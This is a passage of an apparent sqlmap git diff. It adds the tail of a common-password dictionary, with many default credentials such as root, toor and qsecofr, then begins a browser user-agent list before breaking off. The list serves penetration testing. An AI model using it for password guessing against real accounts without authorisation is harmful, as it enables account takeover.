+pam +pamacs +pamela +Pamela +pana +panama +panasonic +panatha +pancakes +panchito +panda +panda1 +panda123 +pandabear +pandas +pandemonium +pandora +panget +pangit +panic +pankaj +pantera +panther +panther1 +panthers +panties +panzer +paok1926 +paokara4 +paola +papabear +papaki +papamama +paparas +paper +paperclip +papercut +paperino +papito +pappa123 +parabola +paradise +paradiso +parallel +paramedic +paramo +paramore +paranoia +parasite +paris +parisdenoia +parker +parkside +parliament +parola +parole +paroli +parool +Parool123 +parrot +partizan +partner +partners +party +pasadena +pasaway +pascal +pasion +paska +paska1 +paska12 +paska123 +paskaa +pasquale +pass +pass1 +pass12 +pass123 +pass1234 +Pass@1234 +pass2512 +passenger +passion +passion1 +passions +passme +passord +passpass +passport +passw0rd +Passw0rd +passwd +passwerd +passwo4 +passwor + +password +password! +password. +Password +PASSWORD +password0 +password00 +password01 +password1 +Password1 +password11 +password12 +password123 +password1234 +password13 +password2 +password22 +password3 +password7 +password8 +password9 +passwort +Passw@rd +pastor +patata +patches +patches1 +pathetic +pathfind +pathfinder +patience +patito +patoclero +patrice +patricia +patricio +patrick +patrick1 +patrik +patriots +patrol +patrycja +patryk1 +patty +paul +paula +paulchen +paulina +pauline +paulis +paulius +pavel +pavilion +pavlov +pawel1 +payday +PE#5GZ29PTZMSE +peace +peace1 +peaceful +peacemaker +peaceman +peach +peaches +peaches1 +peachy +peacock +peanut +peanut1 +peanutbutter +peanuts +Peanuts +pearl +pearljam +pearson +pebbles +pecker +pederast +pedersen +pedro +peekaboo +peepee +peeper +peerless +peeter +peewee +pegasus +pelirroja +pelle123 +peluche +pelusa +pencil +pendejo +pendulum +penelope +penetration +peng +penguin +penguin1 +penguins +penis +pensacola +pentagon +pentagram +penthous +pentium +pentium3 +pentium4 +people +peoria +pepe +pepper +pepper1 +peppers +pepsi1 +pepsi123 +pepsicola +perach +peregrin +peregrine +perfect +perfect1 +perfection +perfecto +performance +pericles +perkele +perkele1 +perkele666 +perlita +permanent +perros +perry +perse +persephone +pershing +persib +persimmon +persona +personal +pertti +peruna +pervert +petalo +peter +peter123 +peterk +peterman +peterpan +peterson +petey +petra +petronas +petter +petteri +peugeot +peyton +phantasy +phantom +phantom1 +phantoms +phat +pheasant +pheonix +phil +philadelphia +philip +philipp +philips +phillip +philly +philosophy +phish +phishy +phoebe +phoenix +Phoenix +photo +photography +photos +photoshop +phpbb +phyllis +physical +physics +pian +piano +piano1 +piao +piazza +picard +picasso +piccolo +pickle +pickles +pickwick +pics +picture1 +pictures +pierce +pierre +piff +piggy +piglet +pikachu +pikapika +pillow +pimp +pimpin +pimpin1 +pimping +pimpis +pineappl +pineapple +pinecone +ping +pingpong +pink +pink123 +pinkerton +pinkie +pinkpink +pinky +pinky1 +pinnacle +piolin +pioneer +pioneers +piotrek +piper1 +pipoca +pippen +pippin +piramide +pirate +pisces +piscis +pissing +pissoff +pistol +pistons +pit +pitbull +pitch +pittsburgh +pizza +pizza123 +pizzahut +pizzas +pjakkur +pk3x7w9W +plane +planes +planet +plankton +planning +plasma +plastic +platform +platinum +plato +platypus +play +playa +playback +playboy +playboy1 +player +player1 +players +playgirl +playground +playhouse +playoffs +playstat +playstation +playtime +pleasant +please +pleasure +PlsChgMe! +plumbing +pluto +plutonium +PM +pmi +pn +po +poa +pocahontas +pocitac +pocket +poetic +poetry +pogiako +point +pointofsale +poipoi +poison +poisson +poiuyt +poiuytrewq +pokemon +pokemon1 +pokemon123 +poker +poker1 +pokerface +polar +polarbear +polaris +police +police123 +poliisi +polina +polish +politics +polkadot +poll +pollito +polly +PolniyPizdec0211 +polska +polska12 +polska123 +polynomial +pom +pomme +poncho +pong +pony +poochie +poohbear +poohbear1 +pookey +pookie +Pookie +pookie1 +poonam +poontang +poop +pooper +poophead +poopoo +pooppoop +poopy +pooter +popcorn +popcorn1 +popeye +popo +popopo +popopopo +popper +poppop +poppy +popsicle +porcodio +porcupine +pork +porkchop +porn +pornking +porno +porno1 +pornos +pornstar +porque +porsche +porsche9 +portable +porter +portugal +positive +positivo +possible +POST +postal +postcard +postman +postmaster +potato +potter +povilas +power +power1 +powerade +powerhouse +powers +ppp +pppp +pppppp +ppppppp +pppppppp +pradeep +praise +prakash +prasad +prashant +pratama +praveen +prayer +preacher +preciosa +precious +precision +predator +preeti +pregnant +prelude +premium +presario +prescott +presence +president +presidio +presley +pressure +presto +preston +pretender +pretty +pretty1 +prettygirl +priest +primary +primetime +primos +prince +prince1 +princesa +princesita +princess +PRINCESS +princess1 +princesse +principe +pringles +print +printer +PRINTER +printing +priscila +priscilla +prisoner +prissy +private +private1 +priyanka +problems +prodigy +producer +production +products +professional +professor +profit +progressive +projects +prometheus +promises +propaganda +prophecy +prophet +prosper +prosperity +prost +protected +protection +protector +protocol +prototype +protozoa +provence +providence +provider +prowler +proxy +prs12345 +przemek +psa +psalms +psb +psp +p@ssw0rd +psycho +pub +public +publish +puck +puddin +pudding +puertorico +pukayaco14 +pulgas +pulsar +pumper +pumpkin +pumpkin1 +punch +puneet +punker +punkin +puppet +puppies +puppy +purchase +purdue +purple +purple1 +puss +pussey +pussie +pussies +pussy +pussy1 +pussy123 +pussy69 +pussycat +puteri +putter +puzzle +pw +pw123 +pwpw +pyramid +pyramids +pyro +python +q +q12345 +q123456 +q123456789 +q123q123 +q1w2e3 +q1w2e3r4 +q1w2e3r4t5 +q1w2e3r4t5y6 +q2w3e4r5 +qa +qawsed +qawsedrf +qaz123 +qazqaz +qazwsx +qazwsx1 +qazwsx123 +qazwsxed +qazwsxedc +qazwsxedc123 +qazwsxedcrfv +qazxsw +qing +qistina +qosqomanta +QOXRzwfr +qq123456 +qqq111 +qqqq +qqqqq +qqqqqq +qqqqqqq +qqqqqqqq +qqqqqqqqqq +qqww1122 +QS +qsecofr +QsEfTh22 +quagmire +quan +quasar +quebec +queen +queenbee +queens +querty +question +quicksilver +quiksilver +quintana +qwaszx +qwe +qwe123 +qwe123456 +qwe123qwe +qwe789 +qweasd +qweasd123 +qweasdzx +qweasdzxc +qweasdzxc123 +qweewq +qweqwe +qweqweqwe +qwer +qwer1234 +qwerasdf +qwert +qwert1 +qwert123 +qwert1234 +qwert12345 +qwerty +qwerty00 +qwerty01 +qwerty1 +Qwerty1 +qwerty12 +qwerty123 +Qwerty123! +qwerty1234 +Qwerty1234 +qwerty12345 +qwerty123456 +qwerty22 +qwerty321 +qwerty69 +qwerty78 +qwerty80 +qwertyqwerty +qwertyu +qwertyui +qwertyuiop +qwertz +qwertzui +qwertzuiop +qwewq +qwqwqw +r0ger +r8xL5Dwf +R9lw4j8khX +rabbit +Rabbit +racecar +racer +rachel +rachel1 +rachelle +rachmaninoff +racing +racoon +radagast +radhika +radiator +radical +radioman +rafael +rafaeltqm +raffaele +rafferty +rafiki +ragga +ragnarok +rahasia +raider +raiders +raiders1 +rain +rainbow +rainbow1 +rainbow6 +rainbows +raindrop +rainfall +rainmaker +rainyday +rajesh +ralfs123 +rallitas +ram +rambo +rambo1 +ramesh +ramirez +rammstein +ramona +ramones +rampage +ramram +ramrod +ramstein +ramunas +ranch +rancid +randolph +random +randy +randy1 +ranger +rangers +rangers1 +raptor +rapture +rapunzel +raquel +rascal +rasdzv3 +rashmi +rasmus123 +rasta +rasta1 +rastafari +rastafarian +rastaman +ratboy +rational +ratman +raven +raymond +raymond1 +rayray +razor +razz +re +readers +readonly +ready +reagan +real +really +realmadrid +reaper +rebane +rebecca +rebecca1 +rebeka +rebelde +rebels +reckless +record +recorder +records +red +red123 +red12345 +redalert +redbaron +redbeard +redbird +redcar +redcloud +reddevil +reddog +redeemed +redeemer +redemption +redeye +redhead +redheads +redhorse +redhot +redlight +redline +redman +redred +redriver +redrose +redrum +reds +redskin +redskins +redsox +redstone +redwing +redwings +reed +reference +reflection +reflex +reggie +regiment +regina +reginald +regional +register +registration +reilly +reindeer +reinis +rejoice +relative +relentless +reliable +reliance +reliant +reload +reloaded +rembrandt +remember +reminder +remote +rendezvous +renegade +reng +rental +repair +replicate +replicator +report +reports +reptile +republic +republica +requiem +rescue +research +reserve +resident +resistance +response +restaurant +resurrection +retard +retarded +retire +retired +retriever +revenge +review +rex +reynaldo +reynolds +reznor +rghy1234 +rhapsody +rhino +ribica +ricardo +ricardo1 +riccardo +rich +richard +richard1 +richardson +richie +richmond +rick +ricky +rico +ricochet +ride +rider +ridge +riffraff +rifleman +right +rihards +rijeka +ring +ripper +rita +river +rivera +riverhead +riverside +rje +ro +road +roadkill +roadking +robbie +robby +robert +robert1 +robert12 +roberta +roberto +roberts +robertson +robin +robinson +robotech +robotics +roche +rochelle +rochester +rock +rocker +rocket +rocketman +rockets +rockford +rockhard +rockie +rockies +rockin +rockland +rockme +rockon +rockport +rockrock +rocks +rockstar +rockstar1 +rocku +rocky +rocky1 +rodent +rodeo +roderick +rodina +rodney +rodrigo +rodrigues +rodriguez +roger +roger1 +rogue +rokas123 +roland +rolex +roller +rollin +rollins +rolltide +romain +romance +romania +romanko +romantico +romeo +romero +ronald +ronaldinho +ronaldo +ronaldo9 +rong +roni +ronica +ronnie +roofer +rookie +rooney +roosevelt +rooster +roosters +root +root123 +rootadmin +rootbeer +rootme +rootpass +rootroot +rosalinda +rosario +roscoe +roseanne +rosebud +rosebush +rosemary +rosenborg +roserose +roses +rosie +rosita +ross +rossella +rotation +rotten +rotterdam +rouge +rough +route66 +router +rovers +roxana +roxanne +roxy +royal +royals +rr123456rr +rrrr +rrrrr +rrrrrr +rrrrrrrr +rrs +ruan +rubble +ruben +rudeboy +rudolf +rudy +rufus +rugby +rugby1 +rugger +rules +rumble +runar +runaway +runescape +runner +running +rupert +rush2112 +ruslan +russel +russell +russia +russian +rusty +rusty2 +ruth +ruthless +rw +rwa +RwfCxavL +ryan +ryousuke +s123456 +s4l4s4n4 +saabas +saatana +saatana1 +sabine +sabotage +sabres +sabrina +sacramento +sacrifice +sadie +sadie1 +sagitario +sagittarius +sahabat +saibaba +saigon +sailfish +sailing +sailor +sailormoon +saint +saints +sairam +saiyan +sakalas +sakamoto +sakura +sakurasaku +sakusaku +sal +saladus +salainen +salama +salamandra +salasana +salasana123 +salasona +saleen +sales +salinger +sally +salmon +salomon +salope +salou25 +salut +salvador +salvation +samantha +samantha1 +sambo +samiam +samko +sammakko +sammie +sammy +sammy1 +sammy123 +samoht +sample +SAMPLE +Sample123 +sampson +samsam +samson +samsung +samsung1 +samsung123 +samuel +samuel22 +samuli +samurai +sanane +sanane123 +sananelan +sanchez +sand +sandeep +sander +sandhya +sandi +sandman +sandoval +sandra +sandrock +sandstorm +sandwich +sandy +sanfran +sanguine +sanjay +sanjose +sanpedro +santa +santana +santiago +santos +santosh +santtu +sanyika +saopaulo +SAP +sap123 +sapphire +sarah +sarah1 +sarasara +sarita +sascha +sasha +sasha123 +sasquatch +sassy +sassy1 +sasuke +satan666 +satelite +satellite +satisfaction +satori +satriani +saturday +saturn +saturn5 +saulite +saulute +saulyte +saunders +sausage +savage +savanna +savannah +sawyer +saxon +saxophone +sayang +sayangkamu +sayonara +scarface +scarlet +scarlett +schalke +schatzi +schedule +scheisse +scheme +schiller +schnapps +schneider +schnitzel +school +school1 +schooner +schroeder +schule +schumacher +schuster +schwartz +science +scirocco +scissors +scofield +scooby +scooby1 +scoobydo +scoobydoo +scooter +scooter1 +scooters +score +scorpio +scorpio1 +scorpion +scorpions +scotch +scotland +scott +scott1 +scottie +scottish +scotty +scout +scouting +scramble +scranton +scrapper +scrappy +scream +screamer +screen +screw +screwy +scribble +scrooge +scruffy +scuba1 +scully +seabee +seadoo +seagate +seagull +seahawks +seahorse +searay +search +searcher +searching +seashell +seashore +seattle +sebastian +sebastian1 +sebring +second +secret +secret1 +secret123 +secret3 +secret666 +secrets +secure +security +SECURITY +seduction +seinfeld +select +selector +selena +selina +seminoles +semper +semperfi +senators +seneca +seng +senha123 +senior +seniseviyorum +senna +senorita +sensation +sensei +sensitive +sensor +SENTINEL +seoul +septembe +september +septiembre +sequence +serdar +serega +serena +serenade +serendipity +serenity +sergei +sergey +sergio +series +serkan +servando +server +service +services +sessions +sestosant +settlers +setup +seven +seven7 +sevens +seventeen +sex +sex123 +sex4me +sexman +sexo +sexsex +sexual +sexx +sexxx +sexxxx +sexxy +sexy +sexy1 +sexy12 +sexy123 +sexy69 +sexybabe +sexybitch +sexyboy +sexygirl +sexylady +sexymama +sexyman +sexyme +sf49ers +sh +shadow +shadow1 +shadow12 +shaggy +shakespeare +shakira +shalimar +shalom +shampoo +shamrock +shan +shane +shania +shannon +shannon1 +shanti +shaolin +share +shark +sharma +sharon +sharpshooter +shasha +shaved +shearer +sheeba +sheena +sheep +sheffield +sheila +shekinah +shelby +sheldon +shelly +shelter +shemale +shen +sheng +sherbert +sheriff +sherlock +sherman +sherry +shevchenko +shi123456 +shibby +shilpa +shiner +shinichi +shinobi +ship +shipping +shirley +shirley1 +shit +shitface +shithead +shitshit +shitty +shivers +shock +shocker +shocking +shodan +shoelace +shopping +short +shortcake +shortcut +shorty +shorty1 +shoshana +shotgun +shotokan +shoulder +shovel +show +showboat +showcase +showme +showtime +shredder +shrimp +shuang +shun +shuriken +shutdown +shutup +shyshy +sideshow +sideways +sidney +siemens +sierra +Sierra +sifra +sifre +siga14 +sigma +sigmachi +signa +signal +sigrun +siilike +sikais +silence +silencio +silicone +silmaril +silver +silver1 +silverado +silverfish +silvia +simmons +simon +simona +simone +simonka +simonko +simple +simpleplan +simpson +simpsons +simran +sims +simulator +sinbad +sindre +sindri +sinegra +sinfonia +singapor +singer +single +sinister +sinned +sinner +sisma +sissy +sister +sister12 +sisters +sitakott +sitapea +site +sitecom +sixers +sixpack +sixpence +sixty +skate +skateboard +skateboarding +skater +skater1 +skeeter +skeleton +skibum +skidoo +skillet +skinhead +skinny +skipjack +skipper +skippy +skittles +skuggi +skydiver +skyhawk +skylar +skyline +skywalker +slacker +slammer +slapper +slappy +slapshot +slaptazodis +slater +slaughter +slave +slayer +sleeper +sleeping +sleepy +slick +slick1 +slider +slideshow +slimshady +slipknot +slipknot1 +slipknot666 +slniecko +sloppy +slovenia +slowpoke +sluggo +slut +sluts +slutty +sma +smackdown +small +smallville +smart1 +smartass +smartbox +smcadmin +smeghead +smegma +smelly +smile +smile1 +smiles +smiley +smith +smithers +smiths +smitty +smoke +smoke420 +smoker +smokey +smokey1 +smoking +smooch +smooth +smoothie +smother +smudge +smuggler +snakebite +snakeeater +snapper +snapple +snapshot +snatch +sneakers +sneaky +snickers +snickers1 +sniper +snoop +snoopdog +snoopdogg +snoopy +snoopy1 +snotra +snowball +snowbird +snowboar +snowfall +snowflak +snowflake +snowhite +snowman +snowman1 +snowshoe +snowski +snowwhite +snuffles +snuggles +soap +sober1 +sobriety +soccer +soccer1 +soccer10 +soccer11 +soccer12 +soccer13 +soccer2 +soccer22 +socrates +sofia +softball +softball1 +software +Sojdlg123aljg +sokrates +soldiers +soledad +soleil +solitaire +solitude +solla +solo +solomon +solstice +solutions +sombrero +some +somebody +someone +somethin +something +sometime +somewhere +sommar +sondra +song +songbird +sonics +sonrisa +sony +sony1 +sonya +sonyvaio +sooner +sophia +sophie +sorensen +soto +soul +soulmate +southpark +southside +southside1 +southwest +souvenir +sovereign +sowhat +soyhermosa +space +spaceman +spagetti +spaghetti +spain +spalding +spanker +spanking +spankme +spanky +spanner +sparhawk +sparkle +sparkles +sparky +Sparky +sparky1 +sparrows +sparta +spartan1 +spartan117 +spazz +speaker +speakers +special +special1 +specialist +specialk +spectral +spectre +spectrum +speeding +speedo +speedster +speedy +speles +spelling +spence +spencer +spencer1 +sperma +sphinx +sphynx +spice +spider +spider1 +spiderma +spiderman +spiderman1 +spidey +spike +spike1 +spikes +spikey +spirit +spiritual +spit +spitfire +splash +spock +spoiled +spongebo +spongebob +spongebob1 +spooge +spooky +spoon +sporting +sports +spotlight +spring +springs +sprinkle +sprite +spud +spunky +spurs +spyder +sql +sqlexec +square +squash +squeaker +squirrel +squirt +srinivas +sriram +sss +ssss +ssssss +sssssss +ssssssss +ssssssssss +stacey +staci +stacy +stainless +stairway +stalingrad +stalker +stamford +stampede +stan +standard +stanley +stanley1 +staples +star +star69 +starbuck +starbucks +starchild +starcraft +stardust +starfish +stargate +stargazer +starless +starlight +starling +starr +stars +starshine +starship +start +start1 +starter +startfinding +starting +startrek +starwars +starwars1 +state +Status +stayout +stealth +steaua +steele +steelers +steelers1 +steelman +stefan +stefania +stefanie +stefanos +stelios +stella +stellar +steph +steph1 +stephani +stephanie +stephanie1 +stephen +stephens +stephi +stereo +sterling +sternchen +steve +steven +steven1 +stevens +stewart +stick +stickman +sticky +stiletto +stimpy +sting1 +stingray +stinker +stinky +stitches +stock +stockman +stockton +stoffer +stolen +stone +stonecold +stonehenge +stoneman +stoner +stones +stories +storm +straight +strange +stranger +strat +strategy +stratus +strawber +strawberry +stream +streamer +streaming +street +streets +strider +strike +strikers +string +stripper +stroker +stronger +stronghold +struggle +strummer +struzhka +stryker +stuart +stubby +student +student1 +student2 +students +studioworks +studman +stunner +stuntman +stupid +stupid1 +sturgeon +style +styles +sublime +submarine +submit +subwoofer +subzero +success +successful +succubus +sucesso +sucked +sucker +suckers +sucking +suckit +suckme +suckmydick +sucks +sudoku +sue +sugarplum +suicidal +suicide +suitcase +sukses +sullivan +summer +summer00 +summer01 +summer05 +summer1 +summer12 +summers +summit +summoner +sunbird +sundance +sunday +sundevil +sunfire +sunflowe +sunflower +sunflowers +sunita +suniukas +sunna +sunny123 +sunnyboy +sunnyday +sunrise +sunset +sunshine +sunshine1 +suomi +super +super123 +superbowl +superboy +supercool +superdog +superduper +supergirl +superhero +superior +superman +superman1 +supermand +supermen +supernova +superpass +superpower +supersecret +supersonic +superstage +superstar +superuser +supervisor +support +supra +surabaya +surecom +surf +surfboard +surfer +surfing +surprise +surrender +surround +survival +survivor +susana +sushi +susie +suslik +suzanne +suzuki +suzy +sveinn +sverige +svetlana +swanson +sweden +sweet +sweet1 +sweet123 +sweet16 +sweetest +sweetheart +sweetie +sweetiepie +sweetnes +sweetness +sweetpea +sweets +sweetwater +sweety +swim +swimming +swingers +swinging +switzer +swoosh +sword +swordfis +swordfish +sydney +sylvania +sylvester +sylvia +sylwia +symbol +symmetry +sympa +symphony +syndrome +synergy +syracuse +sys +sysadm +syspass +system +system5 +syzygy +szabolcs +szerelem +szeretlek +sziszi +tabatha +taco +tacobell +tacoma +tactical +taffy +tagged +tajmahal +takahiro +takanori +takataka +takayuki +takedown +takoyaki +talented +talks +tallinn +tallulah +talon +tamara +tami +tamtam +tania +tanker +tanner +tantra +tanya1 +tanzania +tapestry +tappancs +tappara +tara +tarantino +taratara +tardis +targas +target +target123 +tarheel +tarpon +tarragon +tartar +tarzan +tasha1 +tassen +tatiana +tattoo +taurus +taxman +taylor +taylor1 +taytay +tazdevil +tazman +tazmania +tbird +t-bone +teacher +teacher1 +teaching +team +teamo +teamomucho +teamwork +teardrop +tech +technical +technics +techno +techsupport +tectec +teddy +teddybea +teddybear +teenage +teenager +teens +teflon +teiubesc +tekiero +tekila +tekken +Telechargement +telecom +telefon +telefonas +telefono +telefoon +telemark +telephone +televizija +telos +telus00 +temp +temp! +temp123 +tempest +templar +template +temporal +temporary +temppass +temptation +temptemp +tender +tenerife +teng +tennesse +tennessee +tennis +tennyson +tequiero +tequieromucho +tequila +tere123 +teresa +teretere +terminal +terminat +terminator +terminus +terrapin +terrell +terriers +terrific +terror +terrorist +terserah +test +test! +test1 +test12 +test123 +test1234 +test2 +test3 +testament +teste123 +tester +testi +testicle +testing +testpass +testpilot +testtest +test_user +tetsuo +texas +thaddeus +thai123 +thailand +thankyou +the +thebeach +thebear +thebeast +thebest +thebest1 +thecat +thecrow +thecure +thedon +thedoors +thedude +theforce +thegame +their +thejudge +thekid +theking +thelma +theman +thematrix +themis +theodora +theodore +there +theresa +therock +these +thesims +thethe +thething +thetruth +thiago +thing +thinking +thinkpad +thirteen +this +thisisit +thomas +thomas01 +thomas1 +thomas123 +thompson +thong +thongs +thornton +thousand +threesome +thriller +throat +thuglife +thumbs +thumper +thunder +thunder1 +thunderbolt +thunders +thursday +thurston +thx1138 +tian +tibco +tiburon +ticket +tickle +ticktock +tierno +tietokone +tiffany +tiffany1 +tiger +tiger1 +tiger123 +tigereye +tigerman +tigers +tigerwoods +tigger +tigger1 +tigger12 +tight +tightend +tights +tigre +tigris +tiiger +tika +tikitiki +timberlake +time +timelord +timely +timeout +timosha +timosha123 +timothy +timtim +tinker +tinkerbe +tinkerbell +tinkle +tinman +tintin +Tiny +tiramisu +tissemand +titanic +titanium +titimaman +titkos +titouf59 +tits +titten +titty +tivoli +tmnet123 +tnt +tobias +toby +today +toejam +together +toggle +toilet +tokiohotel +tokyo +tomas123 +tomasko +tomato +tombstone +tomcat +tomek1 +tomika +tomislav1 +tommaso +tommy +tommy123 +tomohiro +tomotomo +tomtom +tomukas +tong +tonight +tony +tonytony +toolbox +toomas +toon +toor +toothpaste +toothpick +tootsie +topcat +topdog +topgun +tophat +topnotch +topolino +topsecret +torcida +toreador +toriamos +torino +tormentor +tornado +tornado1 +toronto +toronto1 +torpedo +torrance +torrents +torres +tortilla +tortoise +toshiba +total +toti +toto1 +tototo +tottenham +toucan +touchdown +touching +tower +town +townsend +toxic +toxicity +toyota +trace +tracer +traci +track +tracker +tractor +tracy +trader +traffic +trails +train +trainer +trampoline +trance +tranquil +transfer +transform +transformer +transformers +transit +trash +trashcan +trashman +trauma +travel +traveler +traveller +travis +tre +treble +tree +treefrog +trees +treetop +treetree +trespass +trevor +trial +triathlon +tribunal +tricia +trickster +trigger +trinidad +trinitro +trinity +trip +triple +tripleh +triplets +tripod +tripper +tripping +trish +trisha +tristan +tristan1 +triton +triumph +trivial +trixie +trojan +trojans +troll +trombone +trooper +troopers +trophy +trouble +trout +troy +truck +truelove +truffles +trujillo +trumpet +trunks +trunte +trustme +trustno1 +trustnoone +truth +tryagain +tsunami +tttttt +tuan +tucker +tucson +tudelft +tuesday +tula +tuna +tunafish +tundra +tunnussana +tuomas +tupac +tuppence +turbine +turbo +turbo2 +turkey +turner +turnip +turquoise +turtle +tutor +tuttle +tweety +tweety1 +tweetybird +twelve +twenty +twilight +twinkie +twinkle +twinkles +twins +twisted +twister +twitter +tybnoq +tycoon +tyler +tyler1 +typewriter +typhoon +tyrone +tyson +tyson1 +U38fa39 +uboot +ultima +ultimate +ultra +ultrasound +umbrella +umesh +umpire +unbreakable +undead +underdog +understand +undertaker +undertow +underwater +underworld +unforgiven +unhappy +unicorn +unicornio +unicorns +unique +united +unity +universal +universe +universidad +university +unix +unknown +unleashed +unlocked +unreal +untitled +untouchable +uploader +upsilon +uptown +upyours +uQA9Ebw445 +urchin +ursula +usa123 +user +user0 +user1 +user1234 +user2 +user3 +user4 +user5 +user6 +user7 +user8 +user888 +username +usmarine +usmc +Usuckballz1 +utility +utopia +uuuuuuuu +vacation +vaffanculo +vagabond +vagina +val +valami +valdemar +valencia +valentin +valentina +valentinchoque +valentine +valeria +valerian +valerie +valeverga +valhalla +validate +valtteri +vampire +vampire1 +vampires +vanderbilt +vanesa +vanessa +vanessa1 +vanhalen +vanilla +vanquish +variable +vasant +vasara +vaseline +vector +vedder +vedran +vegas +vegeta +vegetable +velo +velocity +vengeance +venkat +venom +ventura +venus +vera55 +veracruz +verbatim +vergessen +veritas +verizon +vermilion +verona +veronica +veronika +veronique +vertical +verygood +vette +vfhbyf +vfrcbv +vh5150 +viagra +vickie +victor +victoria +victoria1 +victory +video +vietnam +viewsoni +vijaya +viking +vikings +vikings1 +viktor +viktoria +viktorija +vincent +vineyard +vinicius +vinkovci +vinnie +violator +violence +violet +violetta +violette +violin +viper +vipergts +vipers +virgilio +virgin +virginia +virtual +virus +VIRUSER +visa +viscount +vishal +vision +vision2 +visitor +visitors +visor +visual +vittoria +vittorio +vivian +viviana +vivien +vivienne +vkontakte +vladimir +VOizGwrC +volcano +volcom +volimte +volkswag +volley +volleyba +volleyball +voltaire +volume +volunteer +volvo +voodoo +voyager +voyeur +VQsaBLPzLa +vsegda +vulcan +vvvv +vvvvvvvv +waffle +waiting +wakefield +walden +walker +wallace +wall.e +walrus +walter +wanderlust +wang +wangyut2 +wanker +wanted +warcraft +wareagle +warehouse +warez +wargames +warhamme +warhammer +warlock +warning +warranty +warren +warrior +warrior1 +warriors +warszawa +wasabi +washington +wasser +wassup +wasted +watanabe +watch +watchdog +watching +watchman +watchmen +water +water123 +waterfall +waterman +watermelon +waterpolo +waters +watson +wayne +weasel +weather +weaver +web +webcal01 +weblogic +webmaste +webmaster +webster +wedding +wedge +wednesday +weed420 +weenie +weezer +welcome +welcome1 +welcome123 +welder +wellington +wendi +wendy +wendy1 +weng +werder +werdna +werewolf +wert +wertwert +wertz123 +wesley +westcoast +western +westgate +westlife +weston +westside +westwind +wetpussy +wg +wh +whale1 +what +whatever +whatever1 +whatnot +whatsup +whatthe +whatwhat +whiplash +whiskey +whisky +whisper +whit +white +whiteboy +whiteman +whiteout +whiting +whitney +whittier +whocares +whoknows +wholesale +whynot +wichmann +wicked +wickedwitch +widzew +wiesenhof +wifey +wiktoria +wild +wildbill +wildcat +wildcats +wildfire +wildflower +wildlife +wildman +wildone +wildrose +will +william +william1 +williams +willie +willis +willow +Willow +wilson +wind +window +windows +windows1 +windowsxp +windsurf +windward +winger +wingnut +wings +winner +winner1 +winnie +Winnie +winnipeg +winona +winston +winter +winthrop +wisconsin +wisdom +wiseguy +wishbone +witchcraft +wizard +wizard1 +wizards +woaini +woaini1314 +wojtek +wolf +wolf1 +wolfen +wolfgang +wolfhound +wolfie +wolfpac +wolfpack +wolverin +wolverine +wolverines +wolves +woman +wombat +women +wonder +wonderful +wood +woodbury +woodchuck +woodie +woodland +woodlawn +woodruff +woodside +woodstoc +woodwind +woody +woofer +woowoo +word +wordpass +wordup +work +work123 +working +workout +world +wormhole +worship +worthy +wow12345 +wowwow +wraith +wrangler +wrench +wrestle +wrestler +wrestlin +wrestling +wrinkle1 +writer +writing +wsh +www +wwww +wwwwww +wwwwwww +wwwwwwww +xanadu +xanth +xavier +xbox360 +xceladmin +xcountry +x-files +xiang +xiao +ximena +ximenita +xing +xiong +XRGfmSx +xtr +xuan +xxx +xxx123 +xxxx +xxxxx +xxxxxx +xxxxxxx +xxxxxxxx +xxxxxxxxxx +xyz +xyzzy +y +YAgjecc826 +yahoo +yahoo123 +yamaha +yamahar1 +yamamoto +yang +yankee +yankees +yankees1 +yankees2 +yardbird +yasmin +yasuhiro +yaya +yeah +yellow +yellow1 +yellow12 +yes +yeshua +yessir +yesterday +yesyes +yfnfif +ying +yingyang +yolanda +yomama +yong +yorktown +yosemite +yoteamo +youbye123 +young +young1 +yourmom +yourmom1 +yourname +yourself +yoyo +yoyoma +yoyoyo +ysrmma +YtQ9bkR +ytrewq +yuan +yuantuo2012 +yukiyuki +yukon +yummy +yvonne +yxcvbnm +yyyy +yyyyyyyy +yzerman +z123456 +z1x2c3v4 +za123456 +zacefron +zachary +zachary1 +zadzad +zag12wsx +zagreb +zalgiris +zander +zang +zanzibar +zapato +zaphod +zaq12wsx +zaq1zaq1 +zaqxsw +zaragoza +zebra +zebras +zeng +zenith +zeppelin +zepplin +zerocool +zerozero +zeus +zhang +zhao +zheng +zhong +zhongguo +zhou +zhuang +zhuo +zidane +ziggy +zildjian +zimbabwe +zing +ziomek +zipper +zippo +zirtaeb +zk.: +zmodem +zolika +zoltan +zombie +zong +zoomer +zoosk +zuikis +zuzana +ZVjmHgC355 +zwerg +zxc +zxc123 +zxcasdqwe +zxccxz +zxcv +zxcv1234 +zxcvb +zxcvbn +zxcvbnm +Zxcvbnm +zxcvbnm1 +zxcvbnm123 +zxcxz +zxczxc +zxzxzx +zzzxxx +zzzzz +zzzzzz +zzzzzzzz +zzzzzzzzzz diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt new file mode 100644 index 00000000000..31bca9529d3 --- /dev/null +++ b/data/txt/user-agents.txt @@ -0,0 +1,190 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like 